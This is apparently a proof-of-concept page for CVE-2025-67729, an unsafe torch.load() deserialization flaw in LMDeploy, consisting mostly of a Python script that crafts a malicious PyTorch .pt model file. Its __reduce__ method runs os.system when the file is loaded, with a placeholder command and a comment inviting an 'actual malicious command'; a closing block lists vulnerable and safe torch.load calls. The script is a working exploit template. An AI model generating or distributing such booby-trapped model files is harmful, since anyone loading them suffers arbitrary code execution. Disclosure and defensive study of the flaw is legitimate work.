CVE-2025-67729 LMDeploy torch.load()不安全反序列化远程代码执行漏洞

# CVE-2025-67729 PoC - Malicious Model File Generator # This PoC demonstrates how a malicious .pt file can be crafted to execute arbitrary code import torch import os class MaliciousPayload: def __reduce__(self): # This will execute when the model file is loaded # Replace with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def create_malicious_model(output_path): """ Create a malicious PyTorch model file that executes code when loaded. Usage: python cve_2025_67729_poc.py This will create a malicious_model.pt file. When loaded with: torch.load('malicious_model.pt') Or: torch.load('malicious_model.pt', weights_only=False) The code in __reduce__ will be executed. """ malicious_data = { 'model_weights': MaliciousPayload(), 'metadata': { 'version': '1.0', 'architecture': 'test_model' } } torch.save(malicious_data, output_path) print(f"[+] Malicious model saved to: {output_path}") print(f"[!] When loaded with torch.load(), arbitrary code will be executed") # Generate the malicious model file if __name__ == "__main__": create_malicious_model('malicious_model.pt') print("\n--- Vulnerable Code Example ---") print(""" # LMDeploy vulnerable code pattern: import torch # VULNERABLE - No weights_only parameter model = torch.load('model.pt') # Executes malicious code # VULNERABLE - Explicitly set to False model = torch.load('model.pt', weights_only=False) # Also vulnerable # SAFE - weights_only=True (but may break legitimate models) model = torch.load('model.pt', weights_only=True) # Safe but limited """)